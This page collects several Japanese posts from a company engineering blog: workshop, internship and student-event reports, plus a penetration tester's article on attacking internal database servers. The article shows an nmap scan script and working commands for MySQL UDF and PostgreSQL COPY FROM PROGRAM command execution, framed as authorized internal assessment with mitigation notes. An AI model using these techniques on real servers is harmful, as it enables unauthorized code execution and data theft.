Akatsuki Hackers Lab | 株式会社アカツキ(Akatsuki Inc.)

Akatsuki Hackers Labは株式会社アカツキが運営しています。

モブプログラミングワークショップを社内向けに開催しました

f:id:yusi:20200121000011p:plain
アカツキでエンジニアリングマネージャをしている島村です。
普段はソーシャルゲームアプリの開発やエンジニア組織への取り組みなどをしています。

さて今回は自分のチームのエンジニアを対象にモブプログラミング(以下モブプロ)のワークショップを開催したのでその取り組みについて紹介させていただきます。

モブプログラミングワークショップ開催について

今回の講師として、日本のモブプロの先導者として著名な及部さん(@TAKAKING22)にお願いしました。

モブプロを知らない方に端的に説明すると、モブプロとは「チーム全員で、同じ仕事を、同じ時間に、同じ場所で、同じコンピュータですること」とのことです。

今回、及部さんにお願いした経緯としては、ゆのん(@yunon_phys)との1on1時にチームのスキルトランスファーがうまく進まないと相談していた時に、「及部さんにモブプロのワークショップでもやってもらう?」と案をもらったのでお願いすることに。
早速Messengerで連絡をとり快諾をいただき、1回の顔合わせとリモートのMTGを得て開催の運びとなりました。

みなさんも気軽に相談してみてはいかがでしょうか。

モブプログラミングの準備

当日までに準備したこと
  • メンバーの対象者選定とチーム分け
  • ワークショップの課題選定(自販機)
  • スプリントプランニングに「モブプロ研修 4時間」を組み込む。

対象者はC++エンジニア10名とRubyエンジニア3名の13名。
これを3チームに分けました。

  • C++エンジニア 5名 * 2
  • Rubyエンジニア 3名

課題は、言語が違うチームになるので共通で「自販機」としました。

当日の準備
  • 机3つと人数分の椅子
  • モニター3台
  • ホワイトボード3枚
  • 人数分の付箋とペン
  • お菓子

スケジュールとしては以下の流れで全行程4時間。

  • 15:00-15:30 Head Firstモブプログラミング
  • 15:30-15:40 ワークショップ準備
  • 15:40-16:40 モブプログラミングワークショップ 1
  • 16:40-16:50 中間ふりかえり&質疑応答&休憩
  • 16:50-17:50 モブプログラミングワークショップ 2
  • 17:50-18:20 成果共有&ふりかえり
  • 18:20-19:00 現場でのモブプログラミング

及部さんから事前に「初めてモブやると疲れるから研修おわったらそのまま帰れるようにしたほうがいいですよ」とのことで定時の19時に終わるように設定しました。

ワークショップの内容について

及部さんよりモブプロの歴史や事例を交えつつ注意点など説明いただき、その後、課題やワークショップのルールなど進行の説明があり、ワークショップの実施という流れです。

進めるにあたった以下を強く意識して実施してもらいました。

f:id:yusi:20200118020128p:plain
「HRTの原則」はアカツキでも大事にしていることです。

ルールは「テストすること」だけ。
RubyチームもC++チームも普段から単体テストは書いていたのでここは特に抵抗なく進めることができました。

ワークショップのスライドは公開の許可を頂いているのでぜひスライドを参照していただければです。

drive.google.com

モブプロ実施

f:id:yusi:20200114155635j:plain

モブプロ中は真剣に話す場面や笑顔で意見を交わす場面など見られました。時折「やったー」という声が聞こえてきます。
普段一緒に仕事しているメンバーなのでチームビルディングが必要のない分スムーズに始められた印象です。

一つのモニターを一人がタイピングして、周りに立ちながらアドバイスする姿は、障害対応しているときの姿に近いですね。一つのタスクを複数人数で取り組むときは自然とこの形になるのですね。

休憩を挟んだ2回のモブプロの時間を終え、お互いのチームの成果を報告し振り返りを実施しました。

以下はあるチームのふりかえり結果です。どのチームも「疲れた」は出ていましね(笑
f:id:yusi:20200114182827j:plain

その後、ふりかえりででた参加者からの疑問や疑念に対するクエスチョン(を、最後の及部さんからのまとめプレゼンでアンサー*1 する形となりました。
 

開催場所が社内のカフェのあるラウンジで開催したこともあり、他チームのエンジニアがフラッと見に来て興味深そうに見学していきました。そういう所から波及もしてくれるとうれしいですね。

感想

気になったことは「モビングの重要なポイント」として話された以下のところ。

f:id:yusi:20200118023948p:plain

リソース効率とフロー効率に関しては@i2keyさんの以下の資料がわかりやすいですね。

自分たちのプロジェクトを見返すとリソース効率に傾倒しているので改めてチームで話し合ってみるのもおもしろいと思いました。

またOutcomeについては最近よく話されるようになりました。
スクラムで進めているのであればPOとユーザストーリーにより担保されている部分もあるのでしょうけど、スクラムでないチームでも成果物(Output)とそれに関するOutcomeを話すのはとても有効と感じます。先日のRSGT2020でもギルドワークスの中村洋さん(@yohhatu)がその観点からの話もされていました。
speakerdeck.com

暗黙知のくだりもSECIモデルをベースに話されており、価値観としてはスクラムと通じるところがあることがわかります。

今回の悩みであったスキルトランスファーの課題にも効果があることが伺えますし、メンバーからもその点は感触を掴めたという感想がありました。

まとめ

今回、実施前はメンバーからはモブによるワークが非効率に感じていると声がありましたが、最終的には全員ポジティブな結果が返ってきました。
実施した2日後にはモブを試すチームも出てきており、小さな変化は起きている感じがします。

及部さんの資料にもありましたが「モブプログラミングを現場に導入するか どうかは正直どうでもいいことです。 」で「(分担作業とモビングを)仕事の質やチームの状況に合わせて 使い分けられる方がチームとして強い」ということが大事に思います。

分担開発(リソース効率)とモビング(フロー効率)の使い分けを柔軟に選択できるチームは強そう。

本質は、チームが生み出す価値を最大化するために何ができるか、何をすべきかをチームで考える。そのためにシンプルなコミュニケーションの機会を増やし、チームで判断し続けることが重要であることを知ることができました!

最後に

アカツキでは 一緒にハートドリブンな世界を実現するエンジニアや、組織の成長、課題解決に取り組んでくれる仲間を募集しています!

aktsk.jp

インターンシップで感じたアカツキの文化

 

はじめまして!

2019年12月11日~12月27日にサーバサイドエンジニアとして、 モバイルゲームの一部新機能実装に携わらせて頂きました三島です。

本記事では、「インターンシップを通して苦労した点&学んだ点」と「インターンシップで感じたアカツキの文化」について記述します。

目次

インターンシップを通して苦労した点&学んだ点

今回、約2週間のインターンシップで課題が2つありました。

  1. 新機能のログ出力の機能追加
  2. 管理画面の新機能項目の追加

 上記の課題の詳細を語るよりも成果発表会で用いたプレゼンを見て頂いた方が分かりやすいので、資料を以下に貼ります。(諸事情によりスライドの情報を一部削除しています)

 

 課題の概要は省き、インターンシップを通して苦労した点&学んだ点を3つ記述します。 

理解しやすいコード

  インターンシップに参加して苦労したことの一つ目は「理解しやすいコード」を書くことです。インターンに参加する前は主に研究でコーディングをしていました。研究では、自分以外がコードを読むことを想定していませんでした。そのため自身のコーディングルールを決めたり、主観で分かりやすいメソッド名・変数名を定義したりしていました。いざ、インターンに参加してプルリクエストを送った時に、RuboCopから「半角スペースが含まれている」、「改行が含まれている」などなど大量に指摘されました。その他にも様々な方からレビューを頂き、大幅にコードを修正しました。

 チーム開発はざっくりとした指摘をRuboCopが機械的に実施してくれます。そして変数名・クラス名などRuboCopでは感知されない部分を、人の目が入り客観的なレビューの2重チェックがされていました。これは、個人でコーディングする上で考えられなかったです。ですが、2重チェックを行うことで チームに配属された人が理解しやすいコードを読み、「迅速に作業に取り掛かること」、「デバックのしやすさ」に繋がります。以上から、「理解しやすいコード」を書くことの重要性を知りました。

膨大な量のコード

 2つ目は、膨大な量のコードを理解することに苦労しました。チーム開発で、今まで実装された機能のコードが大量に存在します。その中から、課題に関連するコードを理解して情報を取り出してくる必要があるため、大量のコードを読んでいきました。ですが、コードの中に「Rubyで実装されたメソッド」か「プロジェクトの中で実装されたメソッド」なのか区別がつきにくいメソッドがありました。そのためコード理解が非常に時間が掛かりました。

 結果的に、「要点を絞りコード見て理解する力」が身に付きました。大量のコードをだらだら読んでいくのは、非常に効率が悪いです!! そのため、ファイル名、変数名などから関連するコードを絞ることにしました。これは、上記で記述した「理解しやすいコード」で書かれているため可能になると感じました。

操作しやすいView

 3つ目は、利用者(非エンジニア)に対して操作しやすいViewを作ることに苦労しました。課題2では課題1と違い、明確な利用者が存在します。その存在を考慮して、Viewをデザインする必要があります。ですが、操作しやすいデザインの選択(チェックボックス、プルダウンなど)や操作性を主観で考えてしまいます。そのため、操作しやすいViewのデザインについて迷いました。

 操作しやすいViewのデザインは、客観的に評価して頂くのが一番適切でした。その他に、管理画面には似た機能が実装されているので、既存コードを参考にしました。先人達のコードは、「理解しやすいコード」を書くことや「操作しやすいView」のデザインを作る上でとても勉強になりました。

 

 以上がインターンシップを通して苦労した点&学んだ点です。まとめると、個人チームの開発の違いについて学べました。

インターンシップで感じたアカツキの文化

 ここでは、インターンシップ期間中に読んだ本と紐づけながらアカツキの文化について感じた点を記述します。成果発表会で用いた資料にも記載しているので、そちらも見てください。

下記に、インターンシップを通して感じた点を2つ記述します。

コミュニケーションの頻度

 1つ目は、インターンシップ中に発生したコミュニケーションを取るイベントの頻度についてです。私は13日間(営業日)で、12回(プロジェクトに関するイベントは除く)もコミュニケーションを取るイベントが発生していました。ほぼ毎日イベントが発生しています。なぜ業務中にこのようなイベントが頻繁に発生しているのか、とても不思議でした。

 その答えは、「Team Geek」の「2.9章 すべてはコードに通ず」に、こう記述されていました。

コードを書くことを目的とする強いチームを作るには、膨大なコミュニケーションが必要となる

 アカツキでは、エンジニア同士のコミュニケーションを取る機会が多かったです。エンジニアとのコミュニケーションを通して技術的用語を多く知れました。そして、知らない単語を調査して、日報に調査結果を記述していました。コミュニケーションによるインプットと日報によるアウトプットを毎日繰り返すことで短期間で様々な技術を効率的に学びました。

 「2.4章 成功する文化のコミュニケーションパターン」では、こう記述されていました。

同期コミュニケーションの人数を減らし、非同期コミュニケーションの人数を増やす

 アカツキの同期コミュニケーションでは、業務中に「1 on 1」や「エンジニアコミュニティ制度」などで、少人数のエンジニアとコミュニケーションを取りました。少人数のため個々で発言する機会が多く、技術的な知識共有を深めることができました。

 非同期コミュニケーションでは、Slackなどのツールを用いて業種が異なるチームや会社を休んだ人でも1日の出来事を辿ることがきます。業種と時間を問わず、多くの人が業務知識の共有を行う仕組みができていると感じました。

 「1.5章 3本柱」では、こう記述されていました。

人間関係を円滑にするだけでなく、健全な対話とコラボレーションの基盤となる:

謙虚(Humility)、尊敬(Respect)、信頼(Trust) HRTが大事

  私がチームに配属された時に、多くの方に話しかけて頂けました。他にもランチに誘って頂き、円滑にコミュニケーションを取ることができました。すぐにチームに馴染むことができ、気軽に質問をすることができる環境でした。

 上記を通してアカツキでは、ソフトウェア開発を効果的かつ効率的にするチーム作りが徹底されています。

当事者意識

 2つ目は、チームの一員としての携わり方についてです。チームに配属され課題を告げられた時に、「ログDB設計に対してどんどん意見を出してください」と言われました。そして、課題は実際のサービスに取り入れる機能を実装することでした。これは、開発に対して当事者意識を持ち、自身がチームにどのように関わっていくかを考えさせられました。

 「THE TEAM 5つの法則」の「第1章 Aim(目標設定)の設定」では、チームの成果を上げる1つの方法として以下の記述がありました。

チームが何のために存在し、どんな影響を与えていくべきなのか意義目標をすべてのメンバーが意識し、自発的に行動し、成果を上げるチーム作り

 これは、各メンバーが当事者意識を持つことが成果に繋がることを示しています。

 私が配属されたプロジェクトは最も人数が多いです。本には「人数が増えるほど、個々の当事者意識は薄れていく」と記述されていました。ですが、アカツキでは成果を上げるために個々の当事者意識を、配属当初から持つように働きかけているように感じました。私も課題を告げられた時にチームの一員として当事者意識を持つように働きかけて頂いて、とても感謝しています。

 上記を通してアカツキでは、成果を上げるチーム作りが個々の意識作りから行われています。

最後に

  短期のインターンシップでしたが、開発現場に携わり、実際のサービスに使われる機能を実装させていただく、貴重な体験でした。そして、 アカツキの強い(成果をあげる)チームを作る文化を感じることができました。短い間でしたが、ありがとうございました。

インターン同窓会を初開催しました!

こんにちは、エンジニア採用担当の宮田です。

 

#インターン同窓会とは?


突然ですが、みなさんは「インターン同窓会」という言葉を聞いたことはありますか?
おそらく初めて聞かれる方が多いのではないでしょうか。実際に、今回の参加者からも「インターン同窓会ってなんですか?」「初めて聞きました、意味わからないっすよ笑」といった声がありました(笑)。


そもそもインターン参加目的の多くは、就職先を探すため、企業をより深く理解するため、自分の力試しのためといったようなものだと思います。しかし今回私たちが着目したのは、インターンの時間を共にした同期とのつながりです。
インターンでは濃密な時間を過ごしたとしても、全国から参加されている学生同士ではなかなか再会の機会を作ることができず、関係が希薄になってしまうことがあるのではないでしょうか。アカツキにも学生時代のインターン同期とのつながりが今にも活きているメンバーがいます。付加的な要素ではあるものの、こういったつながりをもっと世の中に増やしたい、そしてアカツキが2019年のインターンテーマとして掲げていた「成長」と「つながり」を形にできる場になることを願いながら、このイベントを開催しました。

今回はその「インターン同窓会」の様子をお届けします!

 

#サマーインターンの概要

この夏アカツキでは、エンジニアを目指す学生さん向けに就業型インターンとGAME JAMという2種類のインターンを実施しました。そして今回はそのインターンに参加した約30名のうち19名が集まってくれました。

 

▼インターンの詳細はこちら

https://aktsk.jp/recruit/intern/

▼Akatsuki GAME JAM2019開催レポートはこちら

https://hackerslab.aktsk.jp/2019/09/19/204913

  

#当日の様子

 

当日のコンテンツは下記の三部構成。

・ゲーム大会

・アカツキメンバーによる技術プレゼン

・懇親会

 

手作りで準備した同窓会をみんなが楽しんでくれるか、ドキドキしながらのスタートです!

 

<第一部:チーム対抗ゲーム大会>

Akatsuki GAME JAMの2日間で参加者が作ったゲームのうち、優勝・準優勝チームの作品と、アカツキの新卒メンバーが企画からリリースまで担当したカジュアルゲーム3種類で対戦。各ゲームでハイスコアを目指します(もちろん自分が開発したゲームはチートになってしまうので、プレイ禁止でした笑)。

 

▼チームメンバーの挑戦を見守る仲間たち

f:id:kayomiyata:20191219183849j:plain

 

▼コツを掴みながらハイスコアがどんどん更新されました

f:id:kayomiyata:20191227162131j:plain



さすがゲーム好きのみなさん、集中しているメンバーの様子を静かに見守りながらも、ハイスコア更新の際には歓声が生まれていました!

久々にあったメンバーも第一部のゲーム大会ですぐに打ち解けている様子を嬉しい気持ちで眺めていました。

 

<第二部:技術プレゼン>

 第二部はアカツキのエンジニアメンバーによる、技術プレゼンです。

エンジニアからの企画提案で見事チャンスを生み出した事例や、新規事業を軌道に乗せたメンバーによる、プロとして「やりたいことをやる」ための心得の話、VPoEによる「アカツキのエンジニア組織が大切にしていること」などをじっくり話してもらいました。

みんな、ゲーム大会の時とは打って変わって真剣な表情で聞き入っている姿が印象的でした。

▼VPoEによる技術プレゼン

f:id:kayomiyata:20191219190529j:plain

 

<第三部:懇親会>

最後はみんなで懇親会です。

インターンにメンターとして関わったメンバーや学校OBにあたるメンバーも参加し、インターン時の思い出話やその後の開発の話など、久々の再開に華を咲かせていました。

 

▼近況報告などで大いに盛り上がっていました!

f:id:kayomiyata:20191219190852j:plain

 

解散の前に学生さん同士で連絡先を交換していたりと、新たなつながりが生まれている瞬間に立ち会えたことは、運営としてとても嬉しい光景でした。

今日では多くの企業が開催しているインターンシップですが、単なる「通過点」ではなく、その後も学生さん同士つながっていける立ち位置になっていけたら、学生さんにとって就職活動がより一層濃密で楽しい時間として捉えてもらえるかもしれない。こういった機会をどんどんこれからも作っていきたいなと改めて思いました。

 

参加してくださったみなさん、本当にありがとうございました!

みんなと楽しい時間が過ごせて、とても嬉しかったです!そしてみんなのこれからの活躍が今からとても楽しみです!また必ず会いましょう!

f:id:kayomiyata:20191219191745j:plain

 

【LT会】Akatsuki Geek Live開催レポート!Vol.4

こんにちは、エンジニア採用担当の宮田です。

年の瀬が押し迫る12/13(金)、アカツキにて4回目となる「Akatsuki Geek Live Vol.4」を開催しました!平日開催ではあったものの、合計で20名を超える学生さんに参加いただき、大いに盛り上がりました!!こちらでは、そのイベントの様子をご紹介します。

 

「Akatsuki Geek Live」とは?

エンジニアを志す学生さんと、アカツキエンジニアが登壇するLT会です。フリーテーマで7分間のLTを実施、その後参加者全員で懇親会を実施し、交流の場を設けています。

楽しみながらアカツキのことを知れる場、そして学生さん同士の横のつながりも作れる場として今年の2月からはや4回開催をしてきています。

 

▼イベント概要はこちらから

aktsk.connpass.com

 

#当日の様子

平日開催ではあったものの、当日は20名を超える学生さんが集まってくれました。
お酒とお菓子を囲みながら、緩やかな雰囲気でLT会スタートです。
途中、同じテーブル同士の学生さん・アカツキエンジニアと混じって自分が興味を持っている分野や最近ハマってることなどを話したりと、コミュニケーションをとりつつLT会は続きます。

嬉しいことに、当日飛び入りLTを申し出てくれた学生さんも含め、学生さん5名、アカツキエンジニア4名と、計9名が登壇をしてくれました。


こちらのブログに掲載を快諾してくれた方のスライドをご紹介します!

 

▼@がっちょさん(学生)

ローグライクダンジョンの作り方

前回7月開催時にも登壇をしてくれたがっちょさんが、2回目の登壇をしてくれました!前回同様、ローグライクゲーム熱が伝わるプレゼンでした!

 登壇資料

www.slideshare.net

 

▼@おかきょーさん(学生)

 Gridsomeでポートフォリオを作った話

関西から参加してくれたおかきょーさんは、ポートフォリオが載せられる自作ブログを作るにあたり、技術選定で大変だったことなどを語ってくれました。

登壇資料

www.slideshare.net

 

▼@シモダさん(学生)

 Immutableなデータ構造

飛び入りでLTをしてくれたシモダさんは「純粋関数型データ構造(著:Chris Okasaki、出版:KADOKAWA)」を読んで実装した話を、苦労した部分を含めて解説してくれました。

登壇資料

www.dropbox.com

 

▼@大嶋さん(アカツキ)

YouTube再生回数2,000万回突破「クマーバチャンネル 」を支えるエンジニアの役割

子ども向けYouTuber事業に一人エンジニアとして関わる大嶋さんは、「限られた体制でいかにそれぞれの得意なことが発揮できる環境を作るか」という、新規事業に限らず心がけたい話をしてくれました。

登壇資料(slideshareには代理で登録しています)

www.slideshare.net

 

▼@細川さん(アカツキ)

部屋の空気が悪くなるとtwitterで通知を送ってくれるbotを作った話

 細川さんは、自宅の空気の二酸化炭素が設置した一定値を超えると、Twitterにお知らせをしてくれるbotを作ったという話をしてくれました。エンジニアリングを使ってちょっといい暮らしができる。ぜひアカツキ社内にも取り入れてほしいです!

登壇資料

jyllsarta.net

 

▼@伊藤さん(アカツキ)

やりたいことをプロダクトにねじ込む技術とねじ込んだ結果

登壇資料

www.slideshare.net

 

▼@ちょうさん(アカツキ)

サーバーアプリでイベントを盛り上げる 

新卒1年目のちょうさんは、アカツキのチーム内コミュニケーション活性化施策の1つであるチームディナーの際に作った、イベントを盛り上げるアプリの紹介をしてくれました。

www.slideshare.net

 
#LTを経て懇親会!
大いに盛り上がった9名のLT登壇を経て懇親会へと移ります。

f:id:kenji-hanada:20191226183225j:plain

 
学生さん・アカツキエンジニアとが入り混じり、お食事を囲んで自由に歓談タイム。
登壇内容に関する質問や、アカツキの業務の仕方など、様々な話題が繰り広げられていました。「実際に働いている人が何をしているのかわかったことでアカツキに興味を持てた」という嬉しいお声や、「もっと自分も頑張らないと!」とやる気がみなぎっている顔を見れたことが頼もしい限りです。
 

登壇者のみなさん、そして参加してくださったみなさん、本当にありがとうございました!この日の出会いが、今後のみなさんの一歩を踏み出す後押しとなっていたらとても嬉しいです。

f:id:kayomiyata:20191226181338j:plain


次回は3月13日開催を予定しています。ぜひまた会いましょう!

ペンテスターはDBサーバーに夢を見るか?

この記事は、Akatsuki Advent Calendar 2019の21日目の記事です。

こんにちは、セキュリティエンジニアの小竹 泰一(aka tkmru)です。 アカツキでは、アプリケーションや社内ネットワークに対する脆弱性診断やツール開発/検証を担当しています。 この記事では社内ネットワーク診断でDBサーバーを発見したときに確認する項目を紹介したいと思います。

社内ネットワーク診断とは

社内ネットワークにつないだ診断員のPCからネットワーク上の端末へ攻撃を行い、ミドルウェアの設定不備による脆弱性や、ソフトウェアが古いバージョンのまま放置されていることによる脆弱性などを発見するのが内部ネットワーク診断です。 脆弱性を持つ端末が社内ネットワークに放置されていると、社内ネットワークに攻撃者が何らかの形(社員のPCがマルウェア感染 etc)で侵入した場合、その端末が攻撃の起点となる可能性があり、社内ネットワーク診断は社内ネットワークに接続されている脆弱な端末を発見することを目的に行います。

なぜDBサーバー?

社内ネットワークに建てられているサーバー群は、本番環境で運用されているものに比べ、脆弱性が存在している可能性が高く、攻撃者やペンテスターのターゲットになります。その中の1つがDBサーバーです。開発環境のDBサーバーにログインできれば、世の中に公表されてないサービスの情報などの機微な情報を取得できる可能性があり、条件がそろえばシェルを奪うこともできます。

DBサーバーを素早く発見するために、私は以下のようなシェルスクリプトを使っています。Nmapを使ってMySQLがよく使用する3306番のポート、PostgresSQLがよく使用する5432番のポート、Redisがよく使用する6379番のポートをスキャンし、xml形式で結果を保存するスクリプトです。ホストのIPアドレスが頻繁に変わる環境では、ホスト毎にウェルノウンポートすべてをスキャンしている間にスキャン済みのホストのIPアドレスが変化してしまうため、このような狙いをつけているサービスが動いているホストを素早く見つけるスクリプトがあると特に便利です。

#!/bin/sh
set -eu

hosts=(
xxx.xxx.xxx/24
xxx.xxx.xxx/23
)
exclude_hosts='xxx.xxx.xxx,xxx.xxx.xxx'
today=`date +%Y%m%d`

if [ ! -d ./results/${today} ]; then
  mkdir -p ./results/${today}
fi

for h in ${hosts[@]}
do
  escaped=`echo $h | tr "/" "_"`
  # MySQL
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p3306 -v -oX results/${today}/mysql_${escaped}_${now}.xml ${h}
  # PostgresSQL
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p5432 -v -oX results/${today}/postgre_${escaped}_${now}.xml ${h}
  # Redis
  now=`date +%Y%m%d_%H%M%S`
  nmap --exclude ${exclude_hosts} -p6379 -v -oX results/${today}/redis_${escaped}_${now}.xml ${h}
done

このシェルスクリプトでNmapを駆使しDBサーバーを発見した後は、DBサーバーに推測容易なパスワードがかけられていないか、念の為にパスワード辞書を使ったブルートフォース攻撃を行い確認するのですが、パスワードに空文字が設定されているDBサーバーが多々あり、ブルートフォース攻撃をするまでもなくログインできるケースも多いです。

DBサーバーにログインできただけで脆弱性を発見したことにはなるのですが、やはりセキュリティエンジニアとしては、シェルを取りたいところです。ここからはログインできたDBサーバーを通してRCE(Remote Code Execution)に持ち込む方法の中で日本語の資料がない2つの方法を紹介していきたいと思います。

MySQL UDF Exploitation

MySQL UDF Exploitationは古いバージョンのMySQLサーバーに対して有効な攻撃手法です。UDF(User Defined Function⁠)はユーザーが自由にMySQLに関数を追加するためのMySQLの機能で、plugindirに指定されているディレクトリに配置した共有ライブラリ内の関数を、MySQLの関数として使用できるよう設定できます。plugindirに指定されているディレクトリは、select @@plugin_dirで確認できます。

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
1 row in set (0.00 sec)

load_file関数を使って、plugindirへローカルにある共有ライブラリをアップロードできます。共有ライブラリをアップロードした後は、CREATE FUNCTION構文を使うことで、指定した共有ライブラリの関数をMySQLの関数として登録できます。ここでは、Metasploitに組み込まれているlib_mysqludf_sys_64.soのsys_eval関数をMySQLの関数に登録しています。sys_eval関数は引数に与えられたコマンドを実行してくれます。

mysql> select load_file('./lib_mysqludf_sys_64.so') into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so";
Query OK, 1 row affected (0.00 sec)

mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)

lib_mysqludf_sys_64.soについてですが、ソースコードはMetasploit内には見当たりませんでした。 mysqludf/lib_mysqludf_sysのソースコードを使って生成したバイナリがMetasploit内で使われているようです。lib_mysqludf_sysはsqlmapでも使われていました

github.com

mysql.funcテーブル内を検索することで指定した関数が登録されているのか確認することもできます。 今回の場合だとsys_eval関数が登録されていることが確認できました。

mysql> select * from mysql.func where name = 'sys_eval';
+----------+-----+------------------------+----------+
| name     | ret | dl                     | type     |
+----------+-----+------------------------+----------+
| sys_eval |   0 | lib_mysqludf_sys_64.so | function |
+----------+-----+------------------------+----------+
1 row in set (0.00 sec)

引数に実行したいコマンドを指定してsys_eval関数を実行すると、実行したコマンドの結果が以下のように返ってきます。

mysql> select sys_eval('id');
+-------------------------------------------------+
| sys_eval('id')                                  |
+-------------------------------------------------+
| uid=101(mysql) gid=101(mysql) groups=101(mysql) |
+-------------------------------------------------+
1 row in set (0.01 sec)

secure_file_priv

secure_file_privは、データをファイルとして書き込んだり読み込んだりする際に、使用可能なディレクトリを制限する設定項目です。secure_file_privで指定されたディレクトリにしかファイルを書き込めなくなるため、これが適切に設定されているとplugin_dirにファイルを書き出すことができず、UDF Exploitationを行うことはできません。 5.7.5以前ではデフォルト値が空でしたが、5.7.6以降ではプラットフォームに応じたパスがデフォルトで設定されています。そのため、今日ではUDF Exploitationが有効なホストは減っています。

dev.mysql.com

Ubuntu上にインストールしたMySQLでは以下のようにsecure_file_privplugin_dirがそれぞれ設定されていました。plugin_dirに指定されているパスはsecure_file_privに含まれておらず、plugin_dirにファイルを書き出すことができないことが分かります。

mysql> show variables like "secure_file_priv"; 
+------------------+-----------------------+
| Variable_name    | Value                 |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)

mysql> show variables like 'plugin_dir';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

また、secure_file_privに指定するパスをコンソールから書き換えることもできません。

mysql> set @@GLOBAL.secure_file_priv = "";
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

PostgreSQLのCOPY TO/FROM PROGRAM

PostgreSQLにはデフォルトで有効になっているCOPY TO/FROM PROGRAMという機能があります。 COPY FROMはファイルからテーブルへとデータをコピーする構文で、これにPROGRAMを指定すると、指定されたコマンドを実行し、その結果をテーブルへと書き込んでくれます。COPY TOはテーブルからファイルへとデータをコピーする構文で、これにPROGRAMを指定すると、テーブルから抜き出したデータを、指定されたコマンドへと渡してくれます。 この機能を使ってRCEに持ち込むことができます。以下にCOPY FROM PROGRAMを使った例を示します。

まず最初に、cmd_execというテーブルを作成し、COPY FROM PROGRAMの指定したコマンドの実行結果のコピー先にしています。次に、COPY FROM PROGRAMを実行しidコマンドを実行しています。そして最後にSELECT * FROM構文でcmd_execテーブルに格納されたコマンド実行結果を表示しています。

$ psql -h xx.xx.xx.xx -p 5432 -U postgres
psql (11.5, server 10.7 (Debian 10.7-1.pgdg90+1))
Type ""help"" for help.

postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_exec;
                               cmd_output                               
------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),103(ssl-cert)
(1 row)

この機能によるOSコマンドインジェクションは、CVE-2019-9193としてCVEに採番されていますが、PostgreSQLのセキュリティチームはこれを脆弱性と認めておらず、単なるいち機能だと主張しており、このテクニックは最新版のPostgreSQLでも有効です。

PostgreSQL: CVE-2019-9193: Not a Security Vulnerabilityには次のように書かれています。

By design, there exists no security boundary between a database superuser and the operating system user the server runs under. As such, by design the PostgreSQL server is not allowed to run as an operating system superuser (e.g. "root"). The features for COPY .. PROGRAM added in PostgreSQL 9.3 did not change any of the above, but added a new command within the same security boundaries that already existed.

We encourage all users of PostgreSQL to follow the best practice that is to never grant superuser access to remote or otherwise untrusted users. This is a standard security operating procedure that is followed in system administration and extends to database administration as well.

大雑把に訳すと「PostgreSQLサーバーはrootユーザーのようなOSのスーパーユーザーからは動かせないようになっており、COPY TO/FROM PROGRAMもPostgreSQLを動かすユーザーと同一権限でしか動作しない。すべてのユーザーはスーパーユーザーや信頼できないユーザーからのリモート接続を許可しないようにするべきだ。」というところでしょうか。たしかに一理ありますね🦀

まとめ

DBサーバーに対する攻撃手法を2つ紹介しました。この記事上では全手動で攻撃を行っていますが、実際に診断を行う際は全手動で行う訳ではなく、GVM(Greenbone Vulnerability Management)のようなスキャナーも併用します。 GVMは手動では発見しにくい、デフォルトポート以外で動作しているログイン可能なDBサーバーを発見してくれる、便利な一面もありますが、COPY TO/FROM PROGRAMが有効かどうかのようなログインした上で試さないと分からないような項目の検証まではしてくれません。 セキュリティエンジニアはスキャナーに頼らず手でも脆弱性を発見できるようにしておくことが大切ですし、スキャナーを使った場合にも結果がfalse postiveではないか、より深刻な脆弱性へと発展させられないか確認する必要があります。

ペンテスター(もちろん攻撃者も!)は紹介したようにDBサーバーに夢を見ています。DBサーバー以外に、Jenkinsサーバーや、SMBサーバーにも夢を見ています。これらを管理する際は社内ネットワーク上であっても気をつけましょう。

参考資料

おまけ

ログインできたRedisからコマンドを実行する方法に関しては以下の記事がくわしいです。

knqyf263.hatenablog.com